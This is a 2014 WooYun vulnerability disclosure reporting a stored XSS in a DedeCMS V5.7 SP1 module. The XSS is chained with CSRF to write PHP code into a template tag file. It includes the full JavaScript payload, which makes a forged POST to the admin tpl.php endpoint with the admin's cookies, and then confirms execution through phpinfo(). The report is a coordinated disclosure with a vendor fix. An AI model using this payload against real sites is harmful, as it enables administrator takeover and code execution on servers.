当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063446

漏洞标题：DedeCMS某模块存储型xss 可打管理员 (csrf)getshell成功测试

相关厂商：Dedecms

漏洞作者： menmen519

提交时间：2014-06-04 10:37

修复时间：2014-09-02 10:38

公开时间：2014-09-02 10:38

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-04： 细节已通知厂商并且等待厂商处理中
2014-06-06： 厂商已经确认，细节仅向厂商公开
2014-06-09： 细节向第三方安全合作伙伴开放
2014-07-31： 细节向核心白帽子及相关领域专家公开
2014-08-10： 细节向普通白帽子公开
2014-08-20： 细节向实习白帽子公开
2014-09-02： 细节向公众公开

简要描述：

DedeCMS-V5.7-UTF8-SP1 块存储型xss 可打管理员 getshell成功测试

详细说明：

注册账户，然后登陆：

3.png


jscode:

function ajax(){
  
    var request = false;
  
    if(window.XMLHttpRequest) {
  
        request = new XMLHttpRequest();
  
    } else if(window.ActiveXObject) {
  
        var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  
        for(var i=0; i<versions.length; i++) {
  
            try {
  
                request = new ActiveXObject(versions[i]);
  
            } catch(e) {}
  
        }
  
    }
  
    return request;
  
}
var _x = ajax();
  
postgo();
function postgo() {
  
    src="http://10.65.100.235/DedeCMS-V5.7-UTF8-SP1/uploads/dede/tpl.php";
  
    data="actiondo=edittag&action=savetagfile&filename=a.lib.php&content=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++";
	
    xhr_act("POST",src,data);
  
}
  
function xhr_act(_m,_s,_a){
    _x.open(_m,_s,false);
	
	cookie = document.cookie;
    if(_m=="POST"){
		_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
		_x.setRequestHeader("Cookie",cookie);
	}
  
    _x.send(_a);
  
    return _x.responseText;
  
}


为了做测试，我们提前建立一个测试标签，标签的内容为空,如图所示：

4.png


然后我们的js代码就是往a.lib.php里面写入phpinfo()
步骤操作如图所示：

5.png


6.png


最终我们去访问DedeCMS-V5.7-UTF8-SP1/uploads/include/taglib/a.lib.php，完全没有限制
直接可以看到phpinfo被执行了如图：

7.png


漏洞证明：

修复方案：

对于输出的地方全部做htmlcode转换

版权声明：转载请注明来源 menmen519@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2014-06-06 19:41

厂商回复：

已修复，感谢提交

最新状态：

暂无